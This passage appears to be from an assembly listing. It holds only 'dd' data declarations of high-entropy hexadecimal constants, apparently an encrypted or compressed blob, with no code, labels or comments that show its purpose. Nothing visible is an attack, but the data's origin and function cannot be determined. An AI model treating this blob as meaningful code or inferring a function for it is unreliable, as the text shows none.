		dd 0F8380335h, 0DA85C36h, 6D24F0DCh, 0BD806473h, 0BE7DBAA5h
		dd 0D7700038h, 7496CD1Eh, 88002864h, 0DC2B2C5Eh, 97DBA3h
		dd 0B65D9208h, 1D9A0B23h, 0D1DE3603h, 9BBB8219h, 0EFA1F0CFh
		dd 8CE6B7h, 6D71CED2h, 9F27A4F5h, 36B0B200h, 0F33F7C09h
		dd 0DBE67Fh, 15BA19AEh,	8E0FFE5Fh, 0A4B66F00h, 2F98E072h
		dd 653F0001h, 2D7A337Ch, 0AC1257CBh, 6002D856h,	198B46BFh
		dd 4D003F02h, 4B300AD6h, 2F04008Eh, 4255072Eh, 0C500CC76h
		dd 0DA682DCAh, 162C134h, 0A5350381h, 33BB0DD3h,	579B40D4h
		dd 1127CF00h, 1F2A552Fh, 4D630F1Ah, 960D996h, 0A9FE4094h
		dd 217CCB1Ch, 9F3D2070h, 0D57561h, 3FF888B3h, 26C48B98h
		dd 476AD4F1h, 0E413E890h, 0E020BE3Ah, 3FA4518Ch, 386D2F9h
		dd 104ECD96h, 0EF84A00h, 72E07E3Eh, 0DDC53F8Eh,	0C200A4CCh
		dd 480FF4DAh, 2113F88Dh, 4D17742Ch, 98BC0423h, 1605D40h
		dd 510967F3h, 0C49244E6h, 8803EC12h, 0ED0DA7BAh, 11E3906Dh
		dd 0A499003Ah, 37A9CABh, 87E298FCh, 0E5973309h,	8F9A8067h
		dd 8655E4h, 3CBB18D2h, 0AACFC00Ah, 0A1138200h, 5A76DACEh
		dd 9110002h, 0D484064h,	0F52C0168h, 0E800E5F6h,	72317D92h
		dd 0C80F0039h, 4FD50B0h, 23092041h, 83B4177Eh, 0E07F0708h
		dd 0F2D4AAh, 66DECA6Eh,	30C85167h, 0FC363200h, 8920C254h
		dd 0AA80009Eh, 0FA16F2ACh, 0A914B2C3h, 0FB061Fh, 8DC6F87h
		dd 3F322C0Ah, 1F4132Ah,	0D5F87B92h, 39576CBEh, 80028B6Ch
		dd 17C063E3h, 495E74BBh, 0B942C81h, 0FCF2A50h, 0A55348F1h
		dd 3DE8740h, 0E1EAB4Ah,	82E74584h, 6871FFACh, 905C635Ch
		dd 2C790Ch, 7F0A5A62h, 21A540DAh, 0FF32ED00h, 6CCEE8B5h
		dd 2A9809B8h, 1003D43Dh, 4EB26EFAh, 0DC6754C1h,	0E825A9F9h
		dd 0B85000AAh, 13EA8D7h, 9484A41h, 3053232Bh, 0C100CC90h
		dd 0B128B477h, 2687B76h, 9ED1F30h, 88E098C5h, 7CE23AA4h
		dd 0B013B100h, 9F29EC35h, 6E5B003Dh, 0B49C818Fh, 11051CAAh
		dd 75DB1F76h, 95D105C0h, 8CB039h, 502D4538h, 0D55802EFh
		dd 9FFEA00h, 64ED1D15h,	5399078Ah, 5527E4E7h, 0A1C8208Ch
		dd 0A00E661h, 8BB4A445h, 0C7A62Fh, 0F76D252Ch, 0B9C50ED7h
		dd 2D267200h, 1B625340h, 0ECAF1F96h, 83690063h,	73EEE6DCh
		dd 2A79CB1Dh, 0FC1F70A6h, 0ADFE5103h, 9920F85Dh, 0F33200F7h
		dd 0DF3C07AFh, 277462C0h, 4323F092h, 83F800B5h,	13C9233Fh
		dd 6D37E700h, 80CE08E2h, 0F27C5Fh, 0DDDCC5A9h, 4D5D0906h
		dd 0D55BCC00h, 7B9459C2h, 2910C04Ah, 524EC866h,	92B91E3Fh
		dd 70C02309h, 7AE1380h,	0CE9877D2h, 593B628Bh, 0B41A0C48h
		dd 0AC00787Bh, 0CAFC320Bh, 0CD28014h, 91C5B75Ah, 36F6C010h
		dd 3DCBC200h, 0DDBB6C89h, 0C67200B8h, 8F276031h, 173FE055h
		dd 0C30267Fh, 98DB00B9h, 4845F056h, 0E4A8149Ch,	5500A85Fh
		dd 6687624Bh, 1A7E219Fh, 0D0F9D307h, 0FFE06939h, 0B28F64h
		dd 7C19ACECh, 386CE67Ah, 0D8AE061Dh, 0E800CE17h, 392BF230h
		dd 8FD000A4h, 2AF2334h,	79038EBFh, 6B777E87h, 0F8FC90C0h
		dd 0F5620049h, 9F4A8D47h, 0CA3C84EAh, 0B61D127Ch, 0F96CAC00h
		dd 6A0B0Eh, 786B8E75h, 60304A73h, 987FC700h, 2AB8D813h
		dd 1070105Ah, 8CF800D9h, 0F094C742h, 349F00BFh,	2FDF9C51h
		dd 0A203521Ch, 0BE01553Ah, 885DC0C8h, 48A400C0h, 74265459h
		dd 580097AAh, 5EF263ABh, 0E2083CEh, 231E8088h, 530110A9h
		dd 30998F70h, 16003E44h, 6A4A2FB1h, 2DA0DF7Fh, 5800E4E8h
		dd 0BDCC04AAh, 0FA64E100h, 20AECE11h, 8D7D0279h, 0A80396D9h
		dd 24B1A0C0h, 0EF819A01h, 0CDC9B6E4h, 3E0F830h,	56D55CC6h
		dd 0E3ABDDD9h, 0A4173ED0h, 3767003h, 0C006448Fh, 549EBBCh
		dd 0F0629B2Dh, 23F0C0C0h, 0B901AA0Eh, 98657D21h, 0FC78ED3Ah
		dd 20446A13h, 571A3818h, 0E0959F00h, 9CEDEAA0h,	863A0054h
		dd 5B80287Dh, 3C00DA9Dh, 0C9F311DCh, 0D82BC5h, 0C3982721h
		dd 0A5149A87h, 11765AECh, 2A6F58h, 0A6486C12h, 0E22EC4AEh
		dd 98D11D29h, 8918802Dh, 851C56A9h, 9F023900h, 1213039Bh
		dd 915D1FCCh, 0B98AC4A1h, 0B800B3D6h, 4B402232h, 8949E012h
		dd 0B3E7F020h, 0EE2700BEh, 0E506ACCAh, 5203461Eh, 0CE2C43F1h
		dd 0C339909Ah, 0E01600C5h, 0E8A82511h, 0D207ABC1h, 63F143C4h
		dd 0B342C0F3h, 4D588855h, 0CFC1389Fh, 0EC659214h, 584A26h
		dd 6C37F2EBh, 6900DBB0h, 2045D6C8h, 74D3B5h, 26F0A8B6h
		dd 9E1AE12Ch, 43573700h, 0FA3C7732h, 1DBBF09Fh,	8341A8A5h
		dd 638E69AEh, 399840C5h, 92063677h, 0C718C21Fh,	0E501380h
		dd 1FC36F64h, 40D40AB4h, 61E3844h, 0B9037DAAh, 8B0C563Bh
		dd 0BA10010Dh, 78904075h, 0E8FCF117h, 3F07A5F9h, 8CF6610Bh
		dd 0CCB86E20h, 0ED700019h, 0D153D827h, 247182C1h, 0A96C8B04h
		dd 0C083D3E1h, 97BBB050h, 0F230143h, 0B3AB5FECh, 64CAE065h
		dd 94777B0Bh, 5AC8148h,	0E80F9FFh, 0B89BC01Ch, 0B6000EACh
		dd 937D56C2h, 7E4991h, 70F53003h, 84D72685h, 0AEAF9400h
		dd 0B3BABB31h, 8D50546h, 0A0E3A690h, 930044ECh,	26BB6BADh
		dd 0D9FA06h, 55842BEFh,	2C4C3F41h, 5F1FB0Bh, 8A71874Eh
		dd 9A29EEC0h, 1B8F0012h, 3943822Ah, 4F0BBA15h, 898BC85Dh
		dd 710047BCh, 2905618Ch, 1A460000h, 0E50AEDE8h,	0A1D979A4h
		dd 18C022A4h, 958E00FBh, 5BFFC6A8h, 20129CAh, 0FEFA8C0Bh
		dd 74C01DE3h, 381F12B8h, 0D814B0DAh, 8064A059h,	4F8B9E7h
		dd 83790FCDh, 0C0525C9Bh, 47151CA0h, 8D340900h,	10F5D8B3h
		dd 0CF640020h, 0B48A5243h, 15008419h, 771E3FB6h, 143E1742h
		dd 0D04DBBC1h, 0C92CA000h, 37559BEAh, 0B25B1100h, 0DBBFAB61h
		dd 0E7400FFh, 4A6BB14Dh, 8926FBE5h, 0DD00D369h,	63BD0599h
		dd 2B17006Fh, 0AA54C370h, 0D2002AC7h, 61A5FB65h, 1C15F3h
		dd 96FCDAC8h, 0BA0C7299h, 3C1EE0FAh, 5DCEE3CFh,	0EA88E011h
		dd 25B178C6h, 0C760D9Ch, 33719B00h, 0E6DE14h, 0AA7BA1B9h
		dd 1146395Dh, 6C79C700h, 5B16E79Bh, 0EB600FDh, 3924884Ch
		dd 9700050Bh, 0A7EA0847h, 4922B5h, 0F953A26Ch, 40245BA1h
		dd 482AC100h, 0DBFCEAF5h
		dd 0AA880019h, 0DF9A8284h, 0DEF0D59Fh, 588B1300h, 59D64E73h
		dd 3AF10EBEh, 696031AFh, 0E5A9EF8Dh, 0F0055FAh,	38495487h
		dd 7322C01h, 0F5813A59h, 5D4310E6h, 25001384h, 0F80EBEA2h
		dd 37330F0h, 0FDF11AC5h, 129846A4h, 0B80033BCh,	42527BB4h
		dd 965456D7h, 5FBA0054h, 29AC44E8h, 457ABC00h, 175AA3B9h
		dd 5C4300F0h, 0CD5B3671h, 0F018D64h, 66CF5051h,	0FA402E8Fh
		dd 0F277A855h, 7F211F62h, 0E006C01Ah, 11DA2B92h, 43416907h
		dd 855047CCh, 2EE32E10h, 442537h, 4C61AF6Eh, 60008D7Eh
		dd 4A02FCF3h, 0F6CD94DBh, 1FCF17C3h, 1844737h, 7C304BA7h
		dd 0CF0C6561h, 7A54D729h, 0B579003Eh, 427C09F7h, 50006CBDh
		dd 0D7152635h, 7DA9846h, 691FB45h, 3847064Bh, 0CB0BC5EAh
		dd 5FF4DEh, 0B5B3A69Ch,	843200CEh, 0BBCA277Bh, 0AD07956Bh
		dd 4A460F11h, 0A9381Ch,	8A0C0119h, 2CCED5CAh, 0A8C0A54Ah
		dd 7F21B5Ch, 553B14E5h,	38C790E8h, 121CA0BDh, 0A1DC164Fh
		dd 0A000CF53h, 0BC2052DBh, 0C078005Bh, 63DAEE2Ch, 4043FF3h
		dd 81FCDF0Ah, 0ADC22CA8h, 1602561h, 8007CEF1h, 0DCC74AEFh
		dd 0B26DB493h, 2FF8E00Bh, 600600CBh, 43A88D4h, 0EA00B551h
		dd 28D16BACh, 7E71FF7h,	9FDB375h, 0DDC57025h, 880E14A9h
		dd 76368A98h, 0CB5A4800h, 7A1AC4CDh, 91A9000Fh,	4CB44DCFh
		dd 0E3005FF5h, 251F9A5h, 0C306CCh, 0F478D4F7h, 6C459831h
		dd 8F74E077h, 8B72E902h, 6168DF12h, 58D07FA4h, 0F9E11E09h
		dd 0FC1F0086h, 179A6683h, 1DB14F00h, 0EA05722Dh, 628804A4h
		dd 0A80FEDC2h, 6E4525F4h, 226B01F0h, 611ED8D6h,	5F62D020h
		dd 1CAB3500h, 85AC23D5h, 27860051h, 0EAD254FFh,	9B0E61E0h
		dd 0F5CA039h, 57BE27B6h, 0D07329A3h, 36D21Fh, 743CC279h
		dd 25F1C1BFh, 69070607h, 0AA17BA20h, 6A488E60h,	5B140FD6h
		dd 2BA0DCE6h, 0C366248Bh, 91D0B800h, 478AF056h,	0BB4718Dh
		dd 9E72BBB5h, 0B3D00Ah,	3305549Ah, 290ECD89h, 6378B166h
		dd 0C0510E65h, 209867h,	0D0E5384Bh, 0A353F41Ch,	0D44C3101h
		dd 0A5297057h, 3CF8DC30h, 5E804BA6h, 45720BE4h,	91000FBFh
		dd 3B4FA8EAh, 71317926h, 755B0046h, 9AC25C51h, 0F1FA5D8Eh
		dd 0AAA5E800h, 7D18ACF8h, 2DD20057h, 40230E9Fh,	0A10011F0h
		dd 7C1DF246h, 1ECA51F8h, 78EB6Ch, 200E9450h, 3098E696h
		dd 859AD127h, 30C01004h, 0C6C8AEh, 14E79D51h, 90415773h
		dd 0E0D24851h, 56008F42h, 0A506FF6h, 65FD9Dh, 588E03DCh
		dd 3B30CEE8h, 0EDA53107h, 7BA3F05Eh, 0C68884Fh,	69D30073h
		dd 61808206h, 0C2097CDFh, 4C5D833h, 0AB706F0Ch,	220B6589h
		dd 606676F1h, 5AC373Ch,	0C8B105Eh, 0CF78C0F9h, 72EA83CDh
		dd 8DDB3612h, 0A6A5A400h, 0D382BFh, 2766F53h, 37265017h
		dd 0B8685Ch, 0B5E5D6A9h, 3AD0A5F2h, 710E1FBAh, 0E0CF6BB4h
		dd 0FDF3805Fh, 2425E833h, 29DA38h, 0B83639EDh, 2313BAh
		dd 4862B0A2h, 1D5D5464h, 1890EC00h, 73C93FFDh, 97513C68h
		dd 0A13B7B01h, 60A63745h, 937AE0C0h, 619E0A07h,	3F00142Ch
		dd 776405h, 0C357F503h,	497FD9BEh, 0F3B0E905h, 39C0D411h
		dd 0FB5BBh, 2A406B9h, 0C5D0B147h, 95D6ED0Ah, 9804F8F6h
		dd 2E1619B0h, 0EF0F7D2Ch, 0E01D9979h, 1264F367h, 2B800753h
		dd 90B691E6h, 0F7D1488Ah, 824D7F3Bh, 0E7826459h, 0C228E051h
		dd 0B090CCh, 0AC30175Ch, 267654D5h, 0FA49880Fh,	0F0C2E497h
		dd 47248CC0h, 0E85300CFh, 268AD0EBh, 820446B5h,	85B3675Bh
		dd 930F7CC0h, 13A5004Ch, 978BAE6Eh, 0C37BAACDh,	8245F207h
		dd 0C1A017ECh, 29C2E8h,	7E6F0DBFh, 3E16FF13h, 67781C00h
		dd 442FC54Eh, 5B2C0059h, 0D4ACCE76h, 0EC038C17h, 4EE53D1Ah
		dd 0A0ABBBA7h, 0F757A24h, 3644C1E7h, 385199A0h,	8E00777Fh
		dd 0DAEDD5CCh, 219640h,	36185E2Eh, 801CD79Fh, 0C64C5600h
		dd 25C75FD2h, 0DF9000A6h, 0E0EE1ED6h, 0DD006DACh, 7BE66A75h
		dd 39D54Dh, 0E5B79E3Ch,	37741569h, 5BE4400h, 52C3FF2Ch
		dd 0E3DE07DCh, 0B008C438h, 1DC56DBAh, 0E6512300h, 0AD1E186h
		dd 444007Dh, 0DDD7B3D2h, 0C100A9BDh, 0BCDA7BDBh, 0D183ADh
		dd 919B0619h, 76FCCCD7h, 0DE002B75h, 7F2F1F9Dh,	0ECA8E7BEh
		dd 0FAD90012h, 80B7FE54h, 8D0130E0h, 4DC176DEh,	3B209D17h
		dd 0C971A9h, 973C167Dh,	0B25FA857h, 22061F00h, 531E43ACh
		dd 0D4E03DB5h, 3D0B9A80h, 322BA774h, 663E4600h,	90D985F5h
		dd 0EDF300E6h, 0ABFE6F26h, 7E00526Ah, 78298809h, 7B73B258h
		dd 8E9F0044h, 9DF09801h, 0D1036551h, 40B8AB9Ch,	5A14F866h
		dd 0DD7200B0h, 2E2B57DBh, 0D0714F3Bh, 6EE6D900h, 81AAFB1Dh
		dd 0D76F024Eh, 4196840Fh, 88E83342h, 230063D1h,	713EC2C4h
		dd 165BD39h, 0AAA4526Fh, 0E128A5DAh, 0FF46D843h, 0FAD89502h
		dd 60729E83h, 0A87E50h,	6A1FED49h, 983BE251h, 5880804Ah
		dd 7C3196Dh, 8A402A1Dh,	0FE3181EFh, 0E6D3F3C5h,	8012CADBh
		dd 0B880A00Bh, 0C31CB3h, 0F9616D79h, 0B2D0198Fh, 6B32BA14h
		dd 54BD00E1h, 22906E7Ch, 0B52109ECh, 0E0F0D5DCh, 0FFDB3Fh
		dd 0C1FD3A4h, 1DA31AA1h, 83523583h, 549371B5h, 149269A0h
		dd 62180F16h, 7FBC8800h, 5C6EF41Dh, 9F3D008Dh, 401C9900h
		dd 69AB2897h, 0B4D08300h, 0D9AF65C9h, 18700066h, 43B8786Ah
		dd 0EE0071CEh, 48FD526h, 818ECDh, 70A1E1CBh, 0BDD2D12Bh
		dd 87E4F23Bh, 0B6C95DC5h, 0FE0007A5h, 4A90B822h, 0E6C20033h
		dd 0B958D471h, 23001246h, 775741D5h, 15A40D8Dh,	907BD927h
		dd 84DED402h, 6C7ED87Dh, 0AB020B74h, 47A450h, 0E41C3F71h
		dd 4C005C7Ah, 0E50CA4AEh, 0B795D1h, 2AF36622h, 831E01F4h
		dd 0C026A607h, 1B004EE6h, 1038AA5h, 59476769h, 80237E3Eh
		dd 7CB0C430h, 5534A2Bh,	0CD27B73Ch, 299FC031h, 640623A6h
		dd 0F577C36Dh, 82E0036h, 0B5826613h, 76E887CBh,	812D920Bh
		dd 0AE480C6h, 4B9F0EF4h, 0B4840FBCh, 0E7D000F6h, 0CB8CF8Ch
		dd 88850900h, 0E8FA7203h, 698300B4h, 1BAEDA63h,	0E1000C8Fh
		dd 28645C42h, 3F5372E0h, 0F10B16CAh, 0BB81ABC5h, 0C0059727h
		dd 0A6502441h, 0AE9F84C0h, 0D8C90F38h, 762E088h, 0C79540BCh
		dd 5874B1C2h, 0A9A4047h, 115FE2Bh, 0E0D3A3h, 0A0186AC7h
		dd 217E2Dh, 0E6FFC480h,	0A77FF57Ah, 0D4D83F50h,	7DB43501h
		dd 33DD6C83h, 483741D8h, 380ED049h, 3EC07AA0h, 0CECD8A35h
		dd 84ED9D01h, 1BF3CB1Dh, 57F49080h, 0F18D099Bh,	988090B9h
		dd 61A38A21h, 0FE810B54h, 24C06204h, 0EE0E5BA6h, 0C2AC20DFh
		dd 615A8FBBh, 2ECCD8F9h, 8B0E0086h, 0C5A9A128h,	35720283h
		dd 0E1FE0B05h, 3CE01479h, 437F1FD7h, 3EB08094h,	3CB20447h
		dd 0E9200B0Bh, 0A000C02Dh, 1A541F43h, 951DC39Dh, 6EF9CB19h
		dd 0D1D6D8DCh, 607E52EAh, 0ACF48309h, 49FCC0F7h, 7DE900B8h
		dd 0EDCF3B12h, 0E100E4BAh, 478072ABh, 0B73831h,	0B84ABF56h
		dd 1FF15F3h, 0AB258414h, 9E2100B8h, 0B9092F46h,	0E1EB07BCh
		dd 407B0E1Eh, 0BD45CBCDh, 5BBFAD1Fh, 98F0DAC3h,	0ED3190E2h
		dd 75841ED0h, 0B5064308h, 0A2B03950h, 8200EE61h, 5A1A8623h
		dd 2431D934h, 80489199h, 0E2A1EA21h, 0C13D3BA8h, 0DC552462h
		dd 5E80659Dh, 0BD3D9C13h, 323000C0h, 0C769D4B1h, 4401C585h
		dd 0ACC9BBBh, 670239Ch,	92070066h, 0EF743753h, 3F3ECAD1h
		dd 0BA2580F0h, 41B7FD45h
		dd 0DB2D006Dh, 0AEF11C36h, 0A100A0BEh, 7D6DAC7h, 38402F93h
		dd 3400B8D4h, 95485DBDh, 0D04BA055h, 0FB2E3421h, 79143AC8h
		dd 89260070h, 0D23C6609h, 6E00C92Ch, 4E2E80D4h,	14DE5Dh
		dd 0FE6BD0B4h, 4926984Bh, 4109C702h, 718B8052h,	7574009Ch
		dd 0B455BED8h, 0C1066D00h, 2F599AA6h, 389909AEh, 6482A564h
		dd 0F85486C4h, 8D2C4880h, 1D9FF6F8h, 1DAD4EA7h,	0A826C03Ah
		dd 769D3798h, 0B2C60300h, 4360D233h, 0A9CC0F0Ah, 8C89A60Eh
		dd 0A4346680h, 5D0BCE9Ch, 80C07E38h, 0FC5A18C0h, 11F9093h
		dd 8216F4F0h, 0FC80145Eh, 71E259FDh, 4000B14Eh,	0E9BF9789h
		dd 0CC870019h, 34A24C5Bh, 78005824h, 0CA1F1F3h,	0CAD508h
		dd 0EEFE4618h, 792B3EF8h, 0CECB350Bh, 1FB1808Ah, 0AE808h
		dd 0F32F87B8h, 0D7A85B0h, 210C8CB2h, 68891653h,	31700F9h
		dd 1913298Bh, 0DB005A3Bh, 0EEB38AB4h, 0CAF7F7Ch, 0E00A01AAh
		dd 627A0B28h, 0C79B6300h, 0CD1391CFh, 0E787053Ch, 0A9A592AAh
		dd 0CB07C40h, 0F3155400h, 444A2D6Ah, 9AA10002h,	0C5202B07h
		dd 87761799h, 3DC32C00h, 4A70DCBEh, 38160079h, 47DF6524h
		dd 720061CEh, 42779396h, 744AE9E8h, 70465C13h, 48F4DE00h
		dd 875EEDA4h, 0F8B7AF00h, 0F0A88BDCh, 0FA1D0051h, 0C1C2B89Eh
		dd 143AFD48h, 4E0776E8h, 623712A7h, 7A775300h, 406900ECh
		dd 0DB70B6C5h, 55E82BB5h, 5971F800h, 0A2A8C16Eh, 2639009Eh
		dd 29183DB3h, 557A1BF9h, 30EBCF90h, 89033322h, 0AC0F2B5Fh
		dd 1867C8BDh, 60900B9h,	0C1D7DB3Fh, 0C700B2C5h,	7F8D2873h
		dd 2CEA0DB3h, 4E4583h, 975F9CF9h, 0DE39638Eh, 2C4589Eh
		dd 0E0834F90h, 16E84035h, 1C7BBAh, 0F0968611h, 3ED2EE65h
		dd 0CDDF3B00h, 3171A305h, 1F85008Eh, 5E0A1523h,	0C80029ECh
		dd 0CB86BE83h, 0B6E7756h, 0CC7D44F8h, 0FC66E880h, 0E872F797h
		dd 0C0BFDD2Dh, 0D5580h,	362B393Bh, 45E7EFE9h, 9B85D70Fh
		dd 4891E0DDh, 3B63EDh, 455616Ch, 8067F872h, 77E24F0Bh
		dd 4AECC0E1h, 280300A4h, 0AA976832h, 100244C1h,	6E563F05h
		dd 0D14C046h, 6B0F00C2h, 0BBCAF999h, 183DFB4Ch,	0C4258016h
		dd 0E33B931Fh, 63920181h, 0C317DD49h, 1EBCFCC9h, 80957E3Ch
		dd 5482F856h, 0F81D91Ch, 8079AFF5h, 2CD68E80h, 455F2DBEh
		dd 4CAAF400h, 3E9CE91Ch, 1A800FD0h, 43F0099Fh, 96008C97h
		dd 199E63CFh, 55EF17Fh,	4D392FB3h, 0E29BC1E4h, 0D954DD6Ch
		dd 0C683F8DEh, 5B550800h, 0E876AB05h, 2DAC9294h, 34802D69h
		dd 0A0C8DDE4h, 0F964BB00h, 0CFA9DC79h, 3DFD00CEh, 5FA299BCh
		dd 4B50D1EEh, 6FA2518h,	205549CFh, 3C057E93h, 74BF0092h
		dd 0A2639BFBh, 110024DEh, 43CC706Bh, 7B6DDDh, 4FA73167h
		dd 4E5C1EBFh, 7175107h,	94008BCBh, 5303B9h, 0CD4C1980h
		dd 6223C56Fh, 896BD112h, 5E871F1Dh, 10D049DFh, 0F4ADC1h
		dd 0D6D2C506h, 5F40F775h, 120FB890h, 41FF92A4h,	80F821B2h
		dd 8DE55BD1h, 9F032028h, 6C9BEC06h, 8C9C53A8h, 0EAB519C4h
		dd 0C06018A4h, 0D1428138h, 5C00526Ah, 3FB87441h, 7DE3E75h
		dd 0C0057057h, 33A6D0D4h, 0FB009BB5h, 0B1F7C9A8h, 41B8D9h
		dd 0CDA1BC77h, 0C4CE0A04h, 392938h, 968A9121h, 4841F9h
		dd 6C683823h, 43D5A35Fh, 0CE933Eh, 3A993D6Ah, 0E81075C6h
		dd 547800B2h, 0E8BFE9A8h, 0D9009728h, 0AB3E761Fh, 4916DA7h
		dd 0BBD21C04h, 2E68B4F0h, 472A0F00h, 0E7A6FC05h, 9374141Fh
		dd 0B93B10E6h, 0B5DE8801h, 0D4C5A067h, 0E3001481h, 8A850736h
		dd 503195C4h, 7CA88DAh,	6279BF8Fh, 76A8D0C2h, 0AE245C1Fh
		dd 81940875h, 378407E9h, 9BF29569h, 0F020E115h,	279E5E0h
		dd 5D7BB091h, 86E0DF8Ah, 0AB1EFD51h, 0EF408427h, 0F4BCA526h
		dd 0F8BACCh, 4345B544h,	396F818Bh, 67745CEEh, 20A0B931h
		dd 0B6C87D47h, 0C3A8009Dh, 619919B2h, 0F100C6AAh, 6787A37h
		dd 249FAE7Dh, 84A88F24h, 8CBEE8ADh, 1704B3B0h, 6CA3C1C7h
		dd 13123881h, 0ABE54A8Bh, 8FC51000h, 0FC037236h, 0B8F1BE31h
		dd 4035A9D3h, 37A4D087h, 5FD2275h, 67BABC84h, 0ED588B03h
		dd 84BCB850h, 8E02E7A8h, 31C06DD7h, 0A00034F1h,	458F9E8h
		dd 1B34B2Ch, 0C75E8D21h, 6A8CABC8h, 9E42C00h, 0F1A7C9h
		dd 425F92F6h, 61661AEAh, 324ED4A0h, 350F9478h, 701807h
		dd 963A59Dh, 0D7E92C82h, 0E3190ED5h, 46C45640h,	867EABADh
		dd 5CB74500h, 7C18DEFBh, 3B4F00EEh, 7D211D73h, 0A67017E8h
		dd 2B366103h, 0C735EA67h, 0DD784C60h, 0AD2A0008h, 527BE5D5h
		dd 3816F851h, 3907BF22h, 5D562957h, 20A0010h, 6EE5D42Fh
		dd 0A0006CBBh, 0EBB0B183h, 914AF9h, 67ADE1D5h, 0E53A8A9h
		dd 994C0D98h, 69E700F5h, 1D8F77F6h, 0F7500F7h, 0BC9F4B47h
		dd 0B4004944h, 0DBAAB883h, 0EFFC22h, 379B6E72h,	79B3283Eh
		dd 0DDD80F07h, 0CBC77684h, 1CB2BCE0h, 0A6410044h, 1922F0F5h
		dd 5E029875h, 0D3AEF2D4h, 7CA0407Bh, 0B07E60CCh, 7460ACBFh
		dd 0B7BCE050h, 8DF370C7h, 5F61F4C0h, 1A3006CDh,	0D8593F3Ch
		dd 30C05Ch, 0B232DD03h,	0A945B0h, 0FE8605FAh, 0E0063674h
		dd 56EDDB07h, 0CB506FB8h, 9839ACBDh, 8A1500C6h,	0CFDA16BEh
		dd 0DDEA42F4h, 0B70ED10Eh, 8C59EB58h, 19510F8h,	3F762BF2h
		dd 0D0E18B13h, 0B05876Fh, 9A5BABB3h, 91EAB041h,	20E107F7h
		dd 3AF60DCh, 0A14CA867h, 0B8E8155Ch, 290F80BAh,	808CEB7Ah
		dd 6E1160E8h, 0E9A463D1h, 92F86C7Bh, 0D60F6AF5h, 3DE8467h
		dd 0B0724E04h, 3A06D36h, 773454D4h, 1058317Dh, 0E8000C5h
		dd 0C552C323h, 620EE91h, 953DE0BBh, 6C00F884h, 0D2620377h
		dd 0F4AC238h, 42D345BFh, 8E20B5E0h, 0D5005C16h,	13C065Fh
		dd 1E8A62h, 3EDE19F3h, 346B404Fh, 807D0D01h, 364C476h
		dd 1849DCh, 0FC041A9Ah,	0AD4FEA09h, 5603472h, 5B0AB410h
		dd 0E57F0065h, 0C794BA0h, 13E6CEC6h, 10ECD904h,	4E806811h
		dd 7D64707h, 3829B1D7h,	0A2FDE04Bh, 0C4008601h,	5B459998h
		dd 135738Ch, 0B5A0588Ah, 2AF87826h, 37F8E9E1h, 7E7921h
		dd 40D4543Ch, 0DE56971Dh, 6ADF01Dh, 0E00C8Eh, 951291E4h
		dd 0E3A9502Fh, 3AF878h,	0DE441BE3h, 1AE17B0h, 0D2CB1600h
		dd 7B5406Fh, 4A8600F3h,	0C213030Eh, 0D8C0FE8Ch,	0F823FC14h
		dd 7F62F45Fh, 87F0C0AEh, 0AB26EEC0h, 60ECB507h,	7CC00A96h
		dd 3D4437BEh, 8AAA0848h, 80DE012Ch, 0D8C212BFh,	0E82708D2h
		dd 62F90808h, 0E2410A52h, 9C00A316h, 0FF41F774h, 66104CD1h
		dd 4A89B871h, 104BA5FCh, 82D154C3h, 612878Bh, 59C240B6h
		dd 1A29BFEh, 9407BAA8h,	1F2C4BB1h, 22E25E12h, 4021E7AEh
		dd 776B0ADBh, 2CFA9584h, 0DD413A00h, 0A3E4ECB2h, 371F0F84h
		dd 4E6A1726h, 9479684h,	182071F4h, 6648C855h, 234EFD16h
		dd 11FE4401h, 0A6E4F9A0h, 3B3600BAh, 40B1A94Bh,	0D0C0E529h
		dd 83ACB8F2h, 61030F1h,	0C7779B48h, 0AE9E7C03h,	0AD0BA639h
		dd 3DE138C6h, 0E43A3A7Ah, 893F5C00h, 7B2A493Ch,	0DC1AEE0Ch
		dd 7E78F828h, 3B311C66h, 52740C2h, 0B0D88B47h, 1CBD740h
		dd 0ACABCCA7h, 6E1E43F0h, 19D5EB05h, 0CD55C44Ah, 3611B100h
		dd 0ED5061h, 0C26B09FDh, 0D8FF6022h, 4F0025B0h,	599CAB0Eh
		dd 7CC369h, 3CE8FDC4h, 64CB9040h, 0FA49h, 1EDD3A5Fh, 3F109Ch
		dd 15D47A35h, 0E4F1DC80h, 0BA4F304h, 0BE805C34h, 60EA9964h
		dd 59E170F2h
		dd 9400CBABh, 9E68C957h, 57A8984h, 7D22549Fh, 98800A8h
		dd 4BE4D3B7h, 36FE0403h, 9C3E9B9Eh, 0FF844980h,	10CB85Dh
		dd 7EBB865Eh, 0E8BCD8F0h, 0ED39E190h, 0F70E078Ah, 0C4805B24h
		dd 0CAE945h, 11F1C9E5h,	0DAF36092h, 8816A000h, 5B37B53Fh
		dd 7884F1C5h, 9050568Ch, 0F87FA750h, 482FD000h,	0A63F54Eh
		dd 6BBF0074h, 0B212F0F3h, 91011E5Ch, 2BCDFA44h,	232080EFh
		dd 0B6F8C6h, 2DE9F0CEh,	0FE09476Ah, 0E6003BEEh,	0D81C74CCh
		dd 30EB62A2h, 0DE309185h, 2F006008h, 8A5FAF6Ah,	39BD1E16h
		dd 13074F25h, 0F3D4D7C1h, 46E0575Dh, 20087CFh, 3032BE24h
		dd 806561h, 31DD6FE1h, 0EFDC5D13h, 243D401Eh, 0D1A9E81h
		dd 83F84FA5h, 2C8B0089h, 0BB138CD5h, 1507A0EDh,	4FC7ECA2h
		dd 74627CC0h, 12850026h, 389DD081h, 6500525Ch, 2227B58Eh
		dd 6040F71Bh, 19F2F8C0h, 461D5D31h, 0E3288B99h,	66A54900h
		dd 0C18D6A65h, 95F20042h, 74E4FBD4h, 1309E943h,	46A17Ah
		dd 0AD416B53h, 0C7E03854h, 3C36D882h, 497E8A2h,	2FF6AD00h
		dd 34327Ch, 0E5E02621h,	4CF51068h, 85B46538h, 587EBDAFh
		dd 39826C80h, 1C2E0033h, 5468EAF8h, 65004888h, 0F504933Eh
		dd 60D9A8h, 0DA22491Eh,	4A15CE5Fh, 25C19000h, 0D3EDB373h
		dd 336B85Dh, 0D89C68A1h, 1EA09B63h, 0B5000162h,	3D813C39h
		dd 0F0F4E6ACh, 0D3FC46h, 0E39B7C90h, 0C735ED6Eh, 0EA38FE00h
		dd 81469FD8h, 0F5CF00BFh, 0C2D44458h, 72008F84h, 919353C6h
		dd 2BA4CD7h, 13CF601Dh,	0BF600F9Dh, 9C00D058h, 0A2E0AB8Bh
		dd 1DB5713Bh, 0C07E0A5Ch, 0E8AD4BC3h, 9700DABAh, 0EF85C0ACh
		dd 848BA9h, 0E5A28DBBh,	0ADA1887Ch, 60D7571Dh, 98364440h
